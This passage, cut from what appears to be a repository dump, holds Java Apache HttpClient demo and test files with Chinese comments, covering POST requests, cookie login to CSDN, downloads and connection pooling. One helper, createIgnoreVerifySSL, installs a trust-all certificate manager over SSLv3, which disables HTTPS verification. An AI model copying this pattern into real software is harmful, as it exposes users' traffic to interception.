org.apache.http.client.ClientProtocolException;\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.config.Registry;\nimport org.apache.http.config.RegistryBuilder;\nimport org.apache.http.conn.socket.ConnectionSocketFactory;\nimport org.apache.http.conn.socket.PlainConnectionSocketFactory;\nimport org.apache.http.conn.ssl.SSLConnectionSocketFactory;\nimport org.apache.http.conn.ssl.TrustSelfSignedStrategy;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClientBuilder;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.impl.conn.DefaultProxyRoutePlanner;\nimport org.apache.http.impl.conn.PoolingHttpClientConnectionManager;\nimport org.apache.http.message.BasicNameValuePair;\nimport org.apache.http.ssl.SSLContexts;\nimport org.apache.http.util.EntityUtils;\n\n/** \n * 简单httpclient实例\n * \n * @author arron\n * @date 2015年11月11日 下午6:36:49 \n * @version 1.0 \n */\npublic class SimpleHttpClientDemo {\n\n\t/**\n\t * 设置信任自定义的证书\n\t * \t\n\t * @param keyStorePath\t\t密钥库路径\n\t * @param keyStorepass\t\t密钥库密码\n\t * @return\n\t */\n\tpublic static SSLContext custom(String keyStorePath, String keyStorepass) {\n\t\tSSLContext sc = null;\n\t\tFileInputStream instream = null;\n\t\tKeyStore trustStore = null;\n\t\ttry {\n\t\t\ttrustStore = KeyStore.getInstance(KeyStore.getDefaultType());\n\t\t\tinstream = new FileInputStream(new File(keyStorePath));\n\t\t\ttrustStore.load(instream, keyStorepass.toCharArray());\n\t\t\t// 相信自己的CA和所有自签名的证书\n\t\t\tsc = SSLContexts.custom().loadTrustMaterial(trustStore, new TrustSelfSignedStrategy()).build();\n\t\t} catch (KeyManagementException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (KeyStoreException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (CertificateException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n//\t\t} catch (KeyStoreException | NoSuchAlgorithmException| CertificateException | IOException | KeyManagementException e) {\n//\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tinstream.close();\n\t\t\t} catch (IOException e) {\n\t\t\t}\n\t\t}\n\t\treturn sc;\n\t}\n\t\n\t/**\n\t * 绕过验证\n\t * \t\n\t * @return\n\t * @throws NoSuchAlgorithmException \n\t * @throws KeyManagementException \n\t */\n\tpublic static SSLContext createIgnoreVerifySSL() throws NoSuchAlgorithmException, KeyManagementException {\n\t\tSSLContext sc = SSLContext.getInstance(\"SSLv3\");\n\n\t\t// 实现一个X509TrustManager接口，用于绕过验证，不用修改里面的方法\n\t\tX509TrustManager trustManager = new X509TrustManager() {\n\t\t\t@Override\n\t\t\tpublic void checkClientTrusted(\n\t\t\t\t\tjava.security.cert.X509Certificate[] paramArrayOfX509Certificate,\n\t\t\t\t\tString paramString) throws CertificateException {\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void checkServerTrusted(\n\t\t\t\t\tjava.security.cert.X509Certificate[] paramArrayOfX509Certificate,\n\t\t\t\t\tString paramString) throws CertificateException {\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic java.security.cert.X509Certificate[] getAcceptedIssuers() {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t};\n\n\t\tsc.init(null, new TrustManager[] { trustManager }, null);\n\t\treturn sc;\n\t}\n\t\n\t/**\n\t * 设置代理\n\t * @param builder\n\t * @param hostOrIP\n\t * @param port\n\t */\n\tpublic static HttpClientBuilder proxy(String hostOrIP, int port){\n\t\t// 依次是代理地址，代理端口号，协议类型  \n\t\tHttpHost proxy = new HttpHost(hostOrIP, port, \"http\");  \n\t\tDefaultProxyRoutePlanner routePlanner = new DefaultProxyRoutePlanner(proxy);\n\t\treturn HttpClients.custom().setRoutePlanner(routePlanner);\n\t}\n\t\n\t/**\n\t * 模拟请求\n\t * \n\t * @param url\t\t资源地址\n\t * @param map\t参数列表\n\t * @param encoding\t编码\n\t * @return\n\t * @throws NoSuchAlgorithmException \n\t * @throws KeyManagementException \n\t * @throws IOException \n\t * @throws ClientProtocolException \n\t */\n\tpublic static String send(String url, Map<String,String> map,String encoding) throws KeyManagementException, NoSuchAlgorithmException, ClientProtocolException, IOException {\n\t\tString body = \"\";\n\n\t\t//绕过证书验证，处理https请求\n\t\tSSLContext sslcontext = createIgnoreVerifySSL();\n\t\t\n        // 设置协议http和https对应的处理socket链接工厂的对象\n        Registry<ConnectionSocketFactory> socketFactoryRegistry = RegistryBuilder.<ConnectionSocketFactory>create()\n            .register(\"http\", PlainConnectionSocketFactory.INSTANCE)\n            .register(\"https\", new SSLConnectionSocketFactory(sslcontext))\n            .build();\n        PoolingHttpClientConnectionManager connManager = new PoolingHttpClientConnectionManager(socketFactoryRegistry);\n\n        //创建自定义的httpclient对象\n//\t\tCloseableHttpClient client = proxy(\"127.0.0.1\", 8087).setConnectionManager(connManager).build();\n\t\tCloseableHttpClient client = HttpClients.createDefault();\n\t\t\n\t\t//创建post方式请求对象\n\t\tHttpPost httpPost = new HttpPost(url);\n\t\t\n\t\t//装填参数\n\t\tList<NameValuePair> nvps = new ArrayList<NameValuePair>();\n\t\tif(map!=null){\n\t\t\tfor (Entry<String, String> entry : map.entrySet()) {\n\t\t\t\tnvps.add(new BasicNameValuePair(entry.getKey(), entry.getValue()));\n\t\t\t}\n\t\t}\n\t\t//设置参数到请求对象中\n\t\thttpPost.setEntity(new UrlEncodedFormEntity(nvps, encoding));\n\n\t\tSystem.out.println(\"请求地址：\"+url);\n\t\tSystem.out.println(\"请求参数：\"+nvps.toString());\n\t\t\n\t\t//设置header信息\n\t\t//指定报文头【Content-type】、【User-Agent】\n\t\thttpPost.setHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\t\thttpPost.setHeader(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)\");\n\t\t\n\t\t//执行请求操作，并拿到结果（同步阻塞）\n\t\tCloseableHttpResponse response = client.execute(httpPost);\n\t\t//获取结果实体\n\t\tHttpEntity entity = response.getEntity();\n\t\tif (entity != null) {\n\t\t\t//按指定编码转换结果实体为String类型\n\t\t\tbody = EntityUtils.toString(entity, encoding);\n\t\t}\n\t\tEntityUtils.consume(entity);\n\t\t//释放链接\n\t\tresponse.close();\n        return body;\n\t}\n\t\n//\tpublic static void main(String[] args) throws ParseException, IOException, KeyManagementException, NoSuchAlgorithmException, HttpProcessException {\n//\t\tString url = \"https://www.facebook.com/\";\n//\t\tString body = send(url, null, \"utf-8\");\n//\t\tSystem.out.println(\"交易响应结果\");\n//\t\tSystem.out.println(body);\n//\t}\n//\t\n\t\n\tpublic static void main(String[] args) throws ParseException, IOException, KeyManagementException, NoSuchAlgorithmException {\n\t\tString url = \"http://php.weather.sina.com.cn/iframe/index/w_cl.php\";\n\t\tMap<String, String> map = new HashMap<String, String>();\n\t\tmap.put(\"code\", \"js\");\n\t\tmap.put(\"day\", \"0\");\n\t\tmap.put(\"city\", \"上海\");\n\t\tmap.put(\"dfc\", \"1\");\n\t\tmap.put(\"charset\", \"utf-8\");\n\t\tString body = send(url, map, \"utf-8\");\n\t\tSystem.out.println(\"交易响应结果：\");\n\t\tSystem.out.println(body);\n\t\tSystem.out.println(\"-----------------------------------\");\n\t\t\n\t\tmap.put(\"city\", \"北京\");\n\t\tbody = send(url, map, \"utf-8\");\n\t\tSystem.out.println(\"交易响应结果：\");\n\t\tSystem.out.println(body);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestCookie.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.CookieStore;\nimport org.apache.http.client.protocol.HttpClientContext;\nimport org.apache.http.impl.client.BasicCookieStore;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/** \n * 测试携带cookie的操作\n * \n * @author arron\n * @date 2016年1月7日 上午10:09:53 \n * @version 1.0 \n */\npublic class TestCookie {\n\n\tpublic static void main(String[] args) throws HttpProcessException {\n\t\t//登录地址\n\t\tString loginUrl = \"https://passport.csdn.net/account/login\";\n\t\t//C币查询\n\t\tString scoreUrl = \"http://my.csdn.net/my/score\";\n\t\t\n\t\t//定义cookie存储\n\t\tHttpClientContext context = new HttpClientContext();\n\t\tCookieStore cookieStore = new BasicCookieStore();\n\t\tcontext.setCookieStore(cookieStore);\n\t\tHttpConfig config =HttpConfig.custom().url(loginUrl).context(context);\n\t\t//获取参数\n\t\tString loginform = HttpClientUtil.get(config);//可以用.send(config)代替，但是推荐使用明确的get方法\n\t\t//System.out.println(loginform);\n\t\tSystem.out.println(\"获取登录所需参数\");\n\t\tString lt = regex(\"\\\"lt\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\tString execution = regex(\"\\\"execution\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\tString _eventId = regex(\"\\\"_eventId\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\t\n\t\t//组装参数\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"username\", \"用户名\");\n\t\tmap.put(\"password\", \"密码\");\n\t\tmap.put(\"lt\", lt);\n\t\tmap.put(\"execution\", execution);\n\t\tmap.put(\"_eventId\", _eventId);\n\n\t\t//发送登录请求\n\t\tString result = HttpClientUtil.post(config.map(map));//可以用.send(config.method(HttpMethods.POST).map(map))代替，但是推荐使用明确的post方法\n\t\t//System.out.println(result);\n\t\tif(result.contains(\"帐号登录\")){//如果有帐号登录，则说明未登录成功\n\t\t\tString errmsg = regex(\"\\\"error-message\\\">([^<]*)<\", result)[0];\n\t\t\tSystem.err.println(\"登录失败：\"+errmsg);\n\t\t\treturn;\n\t\t}\n\t\tSystem.out.println(\"----登录成功----\");\n\t\t\n//\t\t//打印参数，可以看到cookie里已经有值了。\n//\t\tcookieStore = context.getCookieStore();\n//\t\tfor (Cookie cookie : cookieStore.getCookies()) {\n//\t\t\tSystem.out.println(cookie.getName()+\"--\"+cookie.getValue());\n//\t\t}\n\t\t\n\t\t//访问积分管理页面\n\t\tHeader[] headers = HttpHeader.custom().userAgent(\"User-Agent: Mozilla/5.0\").build();\n\t\tresult = HttpClientUtil.post(config.url(scoreUrl).headers(headers));//可以用.send(config.url(scoreUrl).headers(headers))代替，但是推荐使用明确的post方法\n\t\t//获取C币\n\t\tString score = regex(\"\\\"last-img\\\"><span>([^<]*)<\", result)[0];\n\t\tSystem.out.println(\"您当前有C币：\"+score);\n\t\t\n\t}\n\t\n\n\t/**\n\t * 通过正则表达式获取内容\n\t * \n\t * @param regex\t\t正则表达式\n\t * @param from\t\t原字符串\n\t * @return\n\t */\n\tpublic static String[] regex(String regex, String from){\n\t\tPattern pattern = Pattern.compile(regex); \n\t\tMatcher matcher = pattern.matcher(from);\n\t\tList<String> results = new ArrayList<String>();\n\t\twhile(matcher.find()){\n\t\t\tfor (int i = 0; i < matcher.groupCount(); i++) {\n\t\t\t\tresults.add(matcher.group(i+1));\n\t\t\t}\n\t\t}\n\t\treturn results.toArray(new String[]{});\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestCookieWithHttpCookies.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.http.Header;\nimport org.apache.http.cookie.Cookie;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpCookies;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * 测试携带cookie的操作（使用HttpCookies）\n * \n * @author arron\n * @date 2016年1月12日 下午2:15:17 \n * @version 1.0\n */\npublic class TestCookieWithHttpCookies {\n\n\tpublic static void main(String[] args) throws HttpProcessException {\n\t\t//登录地址\n\t\tString loginUrl = \"https://passport.csdn.net/account/login\";\n\t\t//C币查询\n\t\tString scoreUrl = \"http://my.csdn.net/my/score\";\n\t\t\n\t\tHttpCookies cookies = HttpCookies.custom();\n\t\tHttpConfig config =HttpConfig.custom().url(loginUrl).context(cookies.getContext());\n\t\t//获取参数\n\t\tString loginform = HttpClientUtil.get(config);//可以用.send(config)代替，但是推荐使用明确的get方法\n\t\t//System.out.println(loginform);\n\t\t\n//\t\t//打印参数，可以看到cookie里已经有值了。\n//\t\tfor (Cookie cookie : cookies.getCookieStore().getCookies()) {\n//\t\t\tSystem.out.println(cookie.getName()+\"--\"+cookie.getValue());\n//\t\t}\n\t\t\n\t\tSystem.out.println(\"获取登录所需参数\");\n\t\tString lt = regex(\"\\\"lt\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\tString execution = regex(\"\\\"execution\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\tString _eventId = regex(\"\\\"_eventId\\\" value=\\\"([^\\\"]*)\\\"\", loginform)[0];\n\t\t\n\t\t//组装参数\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"username\", \"用户名\");\n\t\tmap.put(\"password\", \"密码\");\n\t\tmap.put(\"lt\", lt);\n\t\tmap.put(\"execution\", execution);\n\t\tmap.put(\"_eventId\", _eventId);\n\n\t\t//发送登录请求\n\t\tString result = HttpClientUtil.post(config.map(map));//可以用.send(config.method(HttpMethods.POST).map(map))代替，但是推荐使用明确的post方法\n\t\t//System.out.println(result);\n\t\tif(result.contains(\"帐号登录\")){//如果有帐号登录，则说明未登录成功\n\t\t\tString errmsg = regex(\"\\\"error-message\\\">([^<]*)<\", result)[0];\n\t\t\tSystem.err.println(\"登录失败：\"+errmsg);\n\t\t\treturn;\n\t\t}\n\t\tSystem.out.println(\"----登录成功----\");\n\t\t\n//\t\t//打印参数，可以看到cookie里已经有值了。\n\t\tfor (Cookie cookie : cookies.getCookieStore().getCookies()) {\n\t\t\tSystem.out.println(cookie.getName()+\"--\"+cookie.getValue());\n\t\t}\n\t\t\n\t\t//访问积分管理页面\n\t\tHeader[] headers = HttpHeader.custom().userAgent(\"User-Agent: Mozilla/5.0\").build();\n\t\tresult = HttpClientUtil.post(config.url(scoreUrl).headers(headers));//可以用.send(config.url(scoreUrl).headers(headers))代替，但是推荐使用明确的post方法\n\t\t//获取C币\n\t\tString score = regex(\"\\\"last-img\\\"><span>([^<]*)<\", result)[0];\n\t\tSystem.out.println(\"您当前有C币：\"+score);\n\t\t\n\t}\n\t\n\n\t/**\n\t * 通过正则表达式获取内容\n\t * \n\t * @param regex\t\t正则表达式\n\t * @param from\t\t原字符串\n\t * @return\n\t */\n\tpublic static String[] regex(String regex, String from){\n\t\tPattern pattern = Pattern.compile(regex); \n\t\tMatcher matcher = pattern.matcher(from);\n\t\tList<String> results = new ArrayList<String>();\n\t\twhile(matcher.find()){\n\t\t\tfor (int i = 0; i < matcher.groupCount(); i++) {\n\t\t\t\tresults.add(matcher.group(i+1));\n\t\t\t}\n\t\t}\n\t\treturn results.toArray(new String[]{});\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestDownLoadImg.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * 下载demo\n * \n * @author arron\n * @date 2016年6月7日 上午10:29:30 \n * @version 1.0\n */\npublic class TestDownLoadImg {\n\t\n\tpublic static void main(String[] args) throws FileNotFoundException, HttpProcessException{\n\t\tString imgUrl = \"https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo/logo_white_fe6da1ec.png\"; //百度logo\n\t\tFile file = new File(\"c:/baidu.png\");\n\t\tHttpClientUtil.down(HttpConfig.custom().url(imgUrl).out(new FileOutputStream(file)));\n\t\tif (file.exists()) {\n\t\t\tSystem.out.println(\"图片下载成功了！存放在：\" + file.getPath());\n\t\t}\n\t\t\n\t\tString mp3Url=\"http://win.web.rh01.sycdn.kuwo.cn/resource/n1/24/6/707126989.mp3\"; //四叶草-好想你\n\t\tfile = new File(\"c:/好想你.mp3\");\n\t\tHttpClientUtil.down(HttpConfig.custom().url(mp3Url).out(new FileOutputStream(file)));\n\t\tif (file.exists()) {\n\t\t\tSystem.out.println(\"mp3下载成功了！存放在：\" + file.getPath());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestHttpPool.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\nimport org.apache.http.Header;\nimport org.apache.http.client.HttpClient;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.builder.HCB;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\n/**\n * 测试启用http连接池\n * \n * @author arron\n * @date 2016年11月7日 下午1:08:07 \n * @version 1.0\n */\npublic class TestHttpPool {\n\t\n\t// 设置header信息\n\tprivate static final Header[] headers = HttpHeader.custom().userAgent(\"Mozilla/5.0\").from(\"http://blog.csdn.net/newest.html\").build();\n\t\n\t// URL列表数组，GET请求\n\tprivate static final String[] urls = {\n\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49883113\",\n\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49909359\",\n\t\t\t\"http://blog.csdn.net/xiaoxian8023/article/details/49910127\",\n\t\t\t\"http://www.baidu.com/\",\n\t\t\t\"http://126.com\",\n\t};\n\t\n\t// 图片URL列表数组，Down操作\n\tprivate static final String[] imgurls ={\n\t\t\t\"http://ss.bdimg.com/static/superman/img/logo/logo_white_fe6da1ec.png\",\n\t\t\t\"https://images.gitbook.cn/Fi7WlXOsPSUP17_WDlo7Nv7cjOx5\"\n\t};\n\t\n\tprivate static String filePath = \"d://aaa//\";\n\t\n\tprivate static StringBuffer buf=new StringBuffer();\n\t\n\t//多线程get请求\n\tpublic static void testMultiGet(HttpConfig cfg, int count) throws HttpProcessException{\n\t        try {\n\t\t\t\tint pagecount = urls.length;\n\t\t\t\tExecutorService executors = Executors.newFixedThreadPool(pagecount);\n\t\t\t\tCountDownLatch countDownLatch = new CountDownLatch(count);   \n\t\t\t\t//启动线程抓取\n\t\t\t\tfor(int i = 0; i< count;i++){\n\t\t\t\t    executors.execute(new GetRunnable(countDownLatch,cfg, urls[i%pagecount]));\n\t\t\t\t}\n\t\t\t\tcountDownLatch.await();\n\t\t\t\texecutors.shutdown();\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t        }\n\t}\n\t\n\t//多线程下载\n\tpublic static void testMultiDown(HttpConfig cfg, int count) throws HttpProcessException{\n\t\ttry {\n\t\t\tint pagecount = imgurls.length;\n\t\t\tExecutorService executors = Executors.newFixedThreadPool(pagecount);\n\t\t\tCountDownLatch countDownLatch = new CountDownLatch(count);   \n\t\t\t//启动线程抓取\n\t\t\tfor(int i = 0; i< count;i++){\n\t\t\t    executors.execute(new GetRunnable(countDownLatch, cfg, imgurls[i%2], new FileOutputStream(new File(filePath+(i+1)+\".png\"))));\n\t\t\t}\n\t\t\tcountDownLatch.await();\n\t\t\texecutors.shutdown();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t static class GetRunnable implements Runnable {\n\t        private CountDownLatch countDownLatch;\n\t        private HttpConfig config = null;\n\t        private FileOutputStream out = null;\n\t        private String url = null;\n\n\t        public GetRunnable(CountDownLatch countDownLatch,HttpConfig config, String url){\n\t           this(countDownLatch, config, url, null);\n\t        }\n\t        public GetRunnable(CountDownLatch countDownLatch,HttpConfig config, String url, FileOutputStream out){\n\t        \tthis.countDownLatch = countDownLatch;\n\t        \tthis.config = config;\n\t        \tthis.out = out;\n\t        \tthis.url = url;\n\t        }\n\t        \n\t        @Override\n\t        public void run() {\n\t            try {\n\t            \tconfig.out(out);\n\t            \tconfig.url(url);\n\t            \tif(config.out()==null){\n\t            \t\tString response = null;\n\t            \t\tresponse =  HttpClientUtil.get(config);\n\t            \t\tSystem.out.println(config.url());\n\t            \t\tSystem.out.println(Thread.currentThread().getName()+\"--获取内容长度：\"+response.length());\n\t            \t\tresponse = null;\n\n\t            \t}else{\n\t            \t\tHttpClientUtil.down(config);\n\t            \t\ttry {\n\t\t\t\t\t\t\tconfig.out().flush();\n\t\t\t\t\t\t\tconfig.out().close();\n\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t}\n\t            \t\tSystem.out.println(Thread.currentThread().getName()+\"--下载完毕\");\n\t            \t}\n\t            } catch (HttpProcessException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t                countDownLatch.countDown();\n\t            }\n\t        }\n\t    }  \n\n\t/**\n\t * 测试启用http连接池，get100次，down20次的执行时间\n\t * @throws HttpProcessException\n\t */\n\tprivate static void testByPool(int getCount, int downCount) throws HttpProcessException {\n\t\tlong start = System.currentTimeMillis();\n\t\t\n\t\tHCB hcb= HCB.custom().pool(100, 10).ssl();\n\t\tif(getCount>0){\n\t\t\tHttpConfig cfg3 = HttpConfig.custom().client(hcb.build()).headers(headers);//使用一个client对象\n\t\t\ttestMultiGet(cfg3, getCount);\n\t\t}\n\t\tif(downCount>0){\n\t\t\tHttpConfig cfg4 = HttpConfig.custom().client(hcb.build()).timeout(10000);\n\t\t\tFile file = new File(filePath);\n\t\t\tif(!file.exists()){\n\t\t\t\tfile.mkdirs();\n\t\t\t}\n\t\t\ttestMultiDown(cfg4, downCount);\n\t\t}\n\n\t\tSystem.out.println(\"-----所有线程已完成！------\");\n        long end = System.currentTimeMillis();\n        System.out.println(\"总耗时（毫秒）： -> \" + (end - start));\n        buf.append(\"\\t\").append((end-start));\n\t}\n\t\n\t/**\n\t * 快速测试pool的应用(通过运行httpConn.bat监控http连接数，查看是否启用连接池)\n\t * \n\t * @throws HttpProcessException\n\t */\n\tpublic static void testquickConcurrent() throws HttpProcessException{\n\t\t//---------------------------\n\t\t//---  期望结果：\n\t\t//      由于urls中有3个域名，所以会为每个域名最多建立20个http链接，\n\t\t//      通过上面的监控，应该会看到http连接数会增加3-20=60个左右\n\t\t//---------------------------\n\n\t\tHttpClient client= HCB.custom().pool(100, 20).timeout(10000).build();//最多创建20个http链接\n\t\tfinal HttpConfig cfg = HttpConfig.custom().client(client).headers(headers);//为每次请求创建一个实例化对象\n\t\tfor (int i = 0; i < 100; i++) {\n\t\t\tnew Thread(new Runnable() {\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tint idx = ((int) (Math.random() * 10)) % 5;\n\t\t\t\t\t\tHttpClientUtil.get(cfg.url(urls[idx]));\n\t\t\t\t\t\tSystem.out.println(\"---idx=\"+idx);\n\t\t\t\t\t} catch (HttpProcessException e) {\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}).start();\n\t\t}\n\t}\n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\t//以下测试通过使用线程池和未启用线程池2个方式测试http连接池\n\t\t//通过监控http链接查看连接池是否有效，脚本文件是httpConn.bat\n\t\t\n\t\t//未启用线程池，直接启用100个线程，通过监控http连接数，查看连接池是否跟配置的一致\n\t\ttestquickConcurrent();\n\t\t\n\t\t//启用连接池，访问500次（线程数=urls的元素个数），测试连接池\n\t\ttestByPool(500, 100);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestHttpResult.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.test;\n\nimport org.apache.http.client.config.RequestConfig;\n\nimport com.jun.plugin.httpclient.httpclientutil.HttpClientUtil;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpConfig;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpHeader;\nimport com.jun.plugin.httpclient.httpclientutil.common.HttpResult;\nimport com.jun.plugin.httpclient.httpclientutil.exception.HttpProcessException;\n\npublic class TestHttpResult {\n\n\tpublic static void main(String[] args) throws HttpProcessException {\n\t\t\n\t\tfinal String url = \"http://jd.com/?\"+Math.random();\n//\t\tfinal String url2 = \"https://www.facebook.com/?\"+Math.random();\n\t\t// 配置请求的超时设置\n\t\tint timeout=1000*7;\n\t\tRequestConfig requestConfig = RequestConfig.custom()\n\t\t\t\t.setConnectionRequestTimeout(timeout)\n\t\t\t\t.setConnectTimeout(timeout)\n\t\t\t\t.setSocketTimeout(timeout)\n\t\t\t\t.build();\n\t\tfinal HttpConfig config = HttpConfig.custom().headers(HttpHeader.custom().build(), true);\n\t\tconfig.timeout(requestConfig);\n//\t\tnew Thread(new Runnable() {\n//\t\t\t@Override\n//\t\t\tpublic void run() {\n//\t\t\t\tlong t1 = System.currentTimeMillis();\n//\t\t\t\ttry {\n//\t\t\t\t\tHttpClientUtil.get(config.url(url));\n//\t\t\t\t\tlong t2 = System.currentTimeMillis();\n//\t\t\t\t\tSystem.err.println(\"2耗费：\"+(t2-t1));\n//\t\t\t\t\tHttpClientUtil.get(config.url(url2));\n//\t\t\t\t\tlong t3 = System.currentTimeMillis();\n//\t\t\t\t\tSystem.err.println(\"3耗费：\"+(t3-t1));\n//\t\t\t\t} catch (HttpProcessException e) {\n////\t\t\t\t\te.printStackTrace();\n//\t\t\t\t\tSystem.err.println(e.getMessage());\n//\t\t\t\t} finally {\n//\t\t\t\t\tSystem.err.println(\"===finally===\");\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}).start();\n//\t\tnew Thread(new Runnable() {\n//\t\t\t@Override\n//\t\t\tpublic void run() {\n//\t\t\t\tlong t1 = System.currentTimeMillis();\n//\t\t\t\ttry {\n//\t\t\t\t\tHttpClientUtil.get(config.url(url));\n//\t\t\t\t\tlong t2 = System.currentTimeMillis();\n//\t\t\t\t\tSystem.err.println(\"2耗费：\"+(t2-t1));\n//\t\t\t\t\tHttpClientUtil.get(config.url(url2));\n//\t\t\t\t\tlong t3 = System.currentTimeMillis();\n//\t\t\t\t\tSystem.err.println(\"3耗费：\"+(t3-t1));\n//\t\t\t\t} catch (HttpProcessException e) {\n////\t\t\t\t\te.printStackTrace();\n//\t\t\t\t\tSystem.err.println(e.getMessage());\n//\t\t\t\t} finally {\n//\t\t\t\t\tSystem.err.println(\"===finally===\");\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}).start();\n//\t\tString result = HttpClientUtil.get(config);\n//\t\tSystem.out.println(result);\n//\t\tfor (Header header : config.headers()) {\n//\t\t\tSystem.out.println(header);\n//\t\t}\n\t\t\n\t\t//测试HttpResult返回方式\n\t\t\n\t\tlong t1 = System.currentTimeMillis();\n\t\t\n\t\tHttpResult result = HttpClientUtil.sendAndGetResp(config.url(url));\n\t\t\n\t\tlong t2 = System.currentTimeMillis();\n\t\tSystem.out.println(\"返回结果（内容太长，仅打印字节数）：\"+result.getResult().length());\n\t\tSystem.out.println(\"状态码：\"+result.getStatusCode());\n\t\tSystem.out.println(\"使用协议：\"+result.getProtocolVersion());\n\t\tSystem.out.println(\"----------\");\n\t\tSystem.out.println(\"耗时：\"+(t2-t1));\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httpclient/httpclientutil/test/TestUpload.java",
